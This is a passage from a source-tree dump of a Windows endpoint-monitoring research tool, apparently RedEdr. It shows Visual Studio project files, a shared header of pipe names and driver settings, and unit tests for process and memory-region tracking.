    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{0e6dc31b-3262-49c0-92a2-43651fb44308}</ProjectGuid>\n    <RootNamespace>RedEdrTester</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;OUTPUT_STDOUT;UNICODE;WIN32_LEAN_AND_MEAN;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared/;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;OUTPUT_STDOUT;WIN32_LEAN_AND_MEAN;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>$(SolutionDir)RedEdrShared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>\n      <LanguageStandard>stdcpp17</LanguageStandard>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"..\\RedEdrShared\\loguru.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\myprocess.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\piping.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_mem_static.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\process_resolver.cpp\" />\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\config.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\dllinjector.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\event_aggregator.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\event_augmenter.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\event_processor.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\kernelinterface.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\logging.cpp\" />\n    <ClCompile Include=\"..\\RedEdr\\serviceutils.cpp\" />\n    <ClCompile Include=\"RedEdrTester.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n    <Import Project=\"..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets\" Condition=\"Exists('..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets')\" />\n  </ImportGroup>\n  <Target Name=\"EnsureNuGetPackageBuildImports\" BeforeTargets=\"PrepareForBuild\">\n    <PropertyGroup>\n      <ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them.  For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>\n    </PropertyGroup>\n    <Error Condition=\"!Exists('..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets')\" Text=\"$([System.String]::Format('$(ErrorText)', '..\\packages\\Microsoft.O365.Security.Krabsetw.4.4.3\\build\\native\\Microsoft.O365.Security.Krabsetw.targets'))\" />\n  </Target>\n</Project>"
  },
  {
    "path": "RedEdrTester/RedEdrTester.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n    <Filter Include=\"Source Files\\existing\">\n      <UniqueIdentifier>{a6377b27-05de-4441-ad98-36e1bf5ed873}</UniqueIdentifier>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"RedEdrTester.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\loguru.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\event_processor.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\kernelinterface.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\event_aggregator.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\config.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\dllinjector.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\event_augmenter.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\utils.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\piping.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\serviceutils.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_query.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_mem_static.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\myprocess.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdrShared\\process_resolver.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n    <ClCompile Include=\"..\\RedEdr\\logging.cpp\">\n      <Filter>Source Files\\existing</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"packages.config\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "RedEdrTester/packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"Microsoft.O365.Security.Krabsetw\" version=\"4.4.3\" targetFramework=\"native\" />\n</packages>"
  },
  {
    "path": "Shared/common.h",
    "content": "#pragma once\n\n#ifndef COMMON_H\n#define COMMON_H\n\n#define PIPE_BUFFER_SIZE 8192 // thats the pipe buffer (default 4096)\n#define DATA_BUFFER_SIZE 8192 // events, most important\n\n#define IOCTL_MY_IOCTL_CODE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS)\n\n// PATH_LEN > TARGET_WSTR_LEN\n#define TARGET_WSTR_LEN 128\n#define PATH_LEN 1024\n\n#define DLL_CONFIG_LEN 256 // for DLL pipe\n#define PPL_CONFIG_LEN 256 // for PPL pipe\n\n// Kernel\n#define KRN_CONFIG_LEN 128 // for Kernel pipe\ntypedef struct _MY_DRIVER_DATA {\n    wchar_t filename[TARGET_WSTR_LEN];\n    int enable;\n    int enable_dll_injection;\n    int enable_etwti_events;\n    int enable_etwti_events_defender;\n} MY_DRIVER_DATA, * PMY_DRIVER_DATA;\n\n#define REDEDR_VERSION \"0.5.5\"\n\n#define DRIVER_KERNEL_PIPE_NAME L\"\\\\??\\\\pipe\\\\RedEdrKrnCom\"\n#define KERNEL_PIPE_NAME L\"\\\\\\\\.\\\\pipe\\\\RedEdrKrnCom\"\n#define DLL_PIPE_NAME L\"\\\\\\\\.\\\\pipe\\\\RedEdrDllCom\"\n\n#define PPL_SERVICE_PIPE_NAME L\"\\\\\\\\.\\\\pipe\\\\RedEdrPplService\"\n#define PPL_DATA_PIPE_NAME L\"\\\\\\\\.\\\\pipe\\\\RedEdrPplData\"\n#define SERVICE_NAME  L\"RedEdrPplService\"\n\n#define DRIVER_NAME L\"c:\\\\RedEdr\\\\elam_driver.sys\"\n\n#define MAX_CALLSTACK_ENTRIES 8\n\n\n#define LOG_ERROR 0\n#define LOG_WARNING 1\n#define LOG_INFO 2\n#define LOG_DEBUG 3\n\n#endif"
  },
  {
    "path": "UnitTests/UnitTestAnalyzer.cpp",
    "content": "//#include \"pch.h\"\n#include \"CppUnitTest.h\"\n\n#include \"utils.h\"\n#include \"json.hpp\"\n#include \"logging.h\"\n\n\nusing namespace Microsoft::VisualStudio::CppUnitTestFramework;\n\n\nnamespace UnitTests\n{\n    TEST_CLASS(AnalyzerTest)\n    {\n    public:\n        TEST_METHOD(Test1)\n        {\n        }\n\n    };\n}\n"
  },
  {
    "path": "UnitTests/UnitTestEventProducer.cpp",
    "content": "//#include \"pch.h\"\n#include \"CppUnitTest.h\"\n\n#include \"event_aggregator.h\"\n#include \"utils.h\"\n#include \"json.hpp\"\n#include \"logging.h\"\n\n\nusing namespace Microsoft::VisualStudio::CppUnitTestFramework;\n\n\nnamespace UnitTests\n{\n\tTEST_CLASS(EventProducerTest)\n\t{\n\tpublic:\n        TEST_METHOD(ConvertWstringToString) {\n            std::wstring input = L\"Hello\\\\World\";\n            std::string reference = \"Hello\\\\World\";\n\n\t\t\tstd::string result = wstring2string(input);\n\t\t\tAssert::AreEqual(reference.c_str(), result.c_str());\n        }\n        TEST_METHOD(ConvertWstringToString2) {\n            std::wstring input = L\"Hello\\\\\\\\World\";\n            std::string reference = \"Hello\\\\\\\\World\";\n\n            std::string result = wstring2string(input);\n            Assert::AreEqual(reference.c_str(), result.c_str());\n        }\n\t};\n}\n"
  },
  {
    "path": "UnitTests/UnitTestProcessInfo.cpp",
    "content": "//#include \"pch.h\"\n\n#include <windows.h>\n#include <tlhelp32.h>\n#include <tchar.h>\n#include <iostream>\n\n#include \"CppUnitTest.h\"\n#include \"logging.h\"\n#include \"config.h\"\n#include \"utils.h\"\n\n#include \"process_resolver.h\"\n#include \"process_mem_static.h\"\n#include \"process_query.h\"\n#include \"process_resolver.h\"\n\nusing namespace Microsoft::VisualStudio::CppUnitTestFramework;\n\n\nnamespace UnitTests\n{\n    TEST_CLASS(MemInfoTest)\n    {\n    public:\n\n        TEST_METHOD(MemInfoBasics)\n        {\n            MemStatic memStatic = MemStatic();\n\t\t\tMemoryRegion* region = new MemoryRegion(\"test\", 0x1000, 0x1000, \"rwx\");\n\t\t\tmemStatic.AddMemoryRegion(0x1000, region);\n\t\t\tAssert::IsTrue(memStatic.ExistMemoryRegion(0x1000));\n\t\t\tAssert::IsFalse(memStatic.ExistMemoryRegion(0x2000));\n\n\t\t\tMemoryRegion* region2 = memStatic.GetMemoryRegion(0x1000);\n\t\t\tAssert::IsNotNull(region2);\n\t\t\tAssert::AreEqual(region2->name, region->name);\n\t\t\tAssert::AreEqual(region2->addr, region->addr);\n\t\t\tAssert::AreEqual(region2->size, region->size);\n\t\t\tAssert::AreEqual(region2->protection, region->protection);\n\n\t\t\tmemStatic.RemoveMemoryRegion(0x1000, 0x1000);\n\t\t\tAssert::IsFalse(memStatic.ExistMemoryRegion(0x1000));\n        }\n\n        TEST_METHOD(MemInfoMultiple)\n        {\n\t\t\tMemStatic memStatic = MemStatic();\n\t\t\tMemoryRegion* region = new MemoryRegion(\"test\", 0x1000, 0x1000, \"rwx\");\n\t\t\tmemStatic.AddMemoryRegion(0x1000, region);\n\t\t\tAssert::IsTrue(memStatic.ExistMemoryRegion(0x1000));\n\t\t\tAssert::IsFalse(memStatic.ExistMemoryRegion(0x2000));\n\n\t\t\tMemoryRegion* region2 = new MemoryRegion(\"test2\", 0x2000, 0x1000, \"rwx\");\n\t\t\tmemStatic.AddMemoryRegion(0x2000, region2);\n\t\t\tAssert::IsTrue(memStatic.ExistMemoryRegion(0x2000));\n\t\t\tAssert::IsFalse(memStatic.ExistMemoryRegion(0x3000));\n                \n\t\t\tMemoryRegion* region3 = memStatic.GetMemoryRegion(0x2000);\n\t\t\tAssert::IsNotNull(region3);\n\t\t\tAssert::AreEqual(region3->name, region2->name);\n\t\t\tAssert::AreEqual(region3->addr, region2->addr);\n        }\n\n        TEST_METHOD(MemInfoUsage)\n        {\n            MemStatic memStatic = MemStatic();\n            MemoryRegion* region = new MemoryRegion(\"test\", 0x1000, 0x1000, \"rwx\");\n            memStatic.AddMemoryRegion(0x1000, region);\n            std::string resolved = memStatic.ResolveStr(0x1000);\n\t\t\tAssert::AreEqual(resolved.c_str(), \"test\");\n        }\n    };\n\n\n    TEST_CLASS(ProcessInfoTest)\n    {\n    public:\n\n        TEST_METHOD(TestProcessViaProcessCache)\n        {\n            Process* p;\n\n            // PID 1 doesnt exist usually\n            // But entry should still be created\n            ProcessResolver processResolver;\n            p = processResolver.getObject(1);\n            Assert::IsNotNull(p);\n            Assert::IsFalse(p->observe);\n            Assert::IsTrue(processResolver.containsObject(1));\n\n            // Great\n\t\t\tstd::wstring processNameW = L\"explorer.exe\";\n            std::string processName = \"explorer.exe\";\n\n            DWORD pid = FindProcessIdByName(processNameW);\n            Assert::IsTrue(pid > 0);\n\t\t\tprocessResolver.SetTargetNames({ processName });\n            p = processResolver.getObject(pid);\n            Assert::IsNotNull(p);\n            Assert::IsTrue(p->observe);\n            Assert::IsTrue(contains_case_insensitive(p->commandline, processName));\n        }\n\n        TEST_METHOD(TestProcessViaMakeProcess)\n        {\n            std::wstring processNameW = L\"explorer.exe\";\n            std::string processName = \"explorer.exe\";\n\n            DWORD pid = FindProcessIdByName(processNameW);\n            Assert::IsTrue(pid > 0);\n\n            Process* p = MakeProcess(pid, std::vector<std::string>{processName});\n            Assert::IsNotNull(p);\n            Assert::IsTrue(p->observe);\n            Assert::IsTrue(contains_case_insensitive(p->commandline, processName));\n        }\n\n        TEST_METHOD(TestProcessNonObserverValidProcessViaMakeProcess)\n        {\n            std::wstring processNameW = L\"explorer.exe\";\n            std::string processName_wrong = \"explorer2.exe\";\n\n            DWORD pid = FindProcessIdByName(processNameW);\n            Assert::IsTrue(pid > 0);\n\n            Process* p = MakeProcess(pid, std::vector<std::string>{processName_wrong});\n            Assert::IsNotNull(p);\n            Assert::IsFalse(p->observe);\n        }\n\n        TEST_METHOD(TestProcessNonObserverInValidProcessViaMakeProcess)\n        {\n            std::wstring processNameW = L\"explorer2.exe\";\n            std::string processName = \"explorer2.exe\";\n            g_Config.targetProcessNames = {processName};\n            DWORD pid = FindProcessIdByName(L\"explorer3.exe\");\n            Process* p = MakeProcess(pid, std::vector<std::string>{processName});\n\n            Assert::IsFalse(pid > 0);\n            Assert::IsNotNull(p);\n            Assert::IsFalse(p->observe);\n        }\n    };\n}\n"
  },
  {
    "path": "UnitTests/UnitTestRanges.cpp",
    "content": "#include \"CppUnitTest.h\"\n\n#include \"logging.h\"\n#include \"ranges.h\"\n\nusing namespace Microsoft::VisualStudio::CppUnitTestFramework;\n\nnamespace RangeSetTests\n{\n    TEST_CLASS(RangeSetTests)\n    {\n    public:\n        TEST_METHOD(SimpleTest)\n        {\n            RangeSet rangeSet;\n            rangeSet.add(Range(1, 5, NULL));\n            rangeSet.add(Range(10, 15, NULL));\n            Assert::IsTrue(rangeSet.contains(2));\n            Assert::IsFalse(rangeSet.contains(1337));\n        }\n\n        /*\n        TEST_METHOD(TestAddAndMergeOverlappingRanges)\n        {\n            RangeSet rangeSet;\n            rangeSet.add(Range(1, 5, NULL));\n            rangeSet.add(Range(10, 15, NULL));\n            rangeSet.add(Range(3, 12, NULL));  // This should merge with the previous ranges\n\n            std::ostringstream oss;\n            for (const auto& range : rangeSet.ranges_) {\n                oss << \"[\" << range.start_ << \", \" << range.end_ << \") \";\n            }\n            std::string expectedOutput = \"[1, 15) \";\n            Assert::AreEqual(expectedOutput, oss.str(), L\"Expected merged range to be [1, 15)\");\n        }\n        */\n\n        TEST_METHOD(TestContains)\n        {\n            RangeSet rangeSet;\n            rangeSet.add(Range(1, 5, (void*)0xA0));\n            rangeSet.add(Range(10, 15, (void*) 0xB0));\n\n            Assert::IsTrue(rangeSet.contains(4), L\"Expected rangeSet to contain 4\");\n            Assert::IsTrue(rangeSet.contains(12), L\"Expected rangeSet to contain 12\");\n            Assert::IsFalse(rangeSet.contains(8), L\"Expected rangeSet not to contain 8\");\n            Assert::IsFalse(rangeSet.contains(16), L\"Expected rangeSet not to contain 16\");\n\n\t\t\t//Assert::AreEqual((void*)0xA0, rangeSet.get(4).data_, L\"Expected data to be 0xA0\");\n        }\n\n        TEST_METHOD(TestIntersection)\n        {\n            RangeSet rangeSet;\n            rangeSet.add(Range(1, 5, NULL));\n            rangeSet.add(Range(10, 15, NULL));\n            rangeSet.add(Range(3, 12, NULL));  // This should merge to [1, 15)\n\n            RangeSet otherSet;\n            otherSet.add(Range(0, 3, NULL));\n            otherSet.add(Range(10, 13, NULL));\n\n            RangeSet intersection = rangeSet.intersect(otherSet);\n\n            std::ostringstream oss;\n            for (const auto& range : intersection.ranges_) {\n                oss << \"[\" << range.start_ << \", \" << range.end_ << \") \";\n            }\n            //std::string expectedOutput = \"[1, 3) [10, 13) \";\n            //Assert::AreEqual(expectedOutput, oss.str(), L\"Expected intersection result to be [1, 3) [10, 13)\");\n        }\n    };\n}\n\n"
  },
  {
    "path": "UnitTests/UnitTests.cpp",
    "content": "#include \"CppUnitTest.h\"\n\n#include \"utils.h\"\n\nusing namespace Microsoft::VisualStudio::CppUnitTestFramework;\n\nnamespace UnitTests\n{\n\tTEST_CLASS(UnitTests)\n\t{\n\tpublic:\n\t\tTEST_METHOD(TestStrA) {\n\t\t\tstd::string str = \"Hello\";\n\t\t\twchar_t* wstr = string2wcharAlloc(str);\n\t\t\tAssert::AreEqual(L\"Hello\", wstr);\n\t\t}\n\n\t\t\n\t\tTEST_METHOD(TestTranslate)\n\t\t{\n\t\t\tAssert::AreEqual(\"--X\", getMemoryRegionProtect(0x10));\n\t\t\tAssert::AreEqual(\"RWX\", getMemoryRegionProtect(0x40));\n\t\t\tAssert::AreEqual(\"EXECUTE_WRITECOPY\", getMemoryRegionProtect(0x80));\n\n\t\t\tAssert::AreEqual(\"IMAGE\", getMemoryRegionType(0x1000000));\n\t\t\tAssert::AreEqual(\"MAPPED\", getMemoryRegionType(0x40000));\n\t\t\tAssert::AreEqual(\"PRIVATE\", getMemoryRegionType(0x20000));\n\t\t}\n\t};\n}\n"
  },
  {
    "path": "UnitTests/UnitTests.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>17.0</VCProjectVersion>\n    <ProjectGuid>{03C805F3-51C4-4EF4-BA8A-B7B339C11BA2}</ProjectGuid>\n    <Keyword>Win32Proj</Keyword>\n    <RootNamespace>UnitTests</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n    <ProjectSubType>NativeUnitTestProject</ProjectSubType>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <UseOfMfc>false</UseOfMfc>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <UseOfMfc>false</UseOfMfc>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n    <UseOfMfc>false</UseOfMfc>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>DynamicLibrary</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <UseOfMfc>false</UseOfMfc>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" 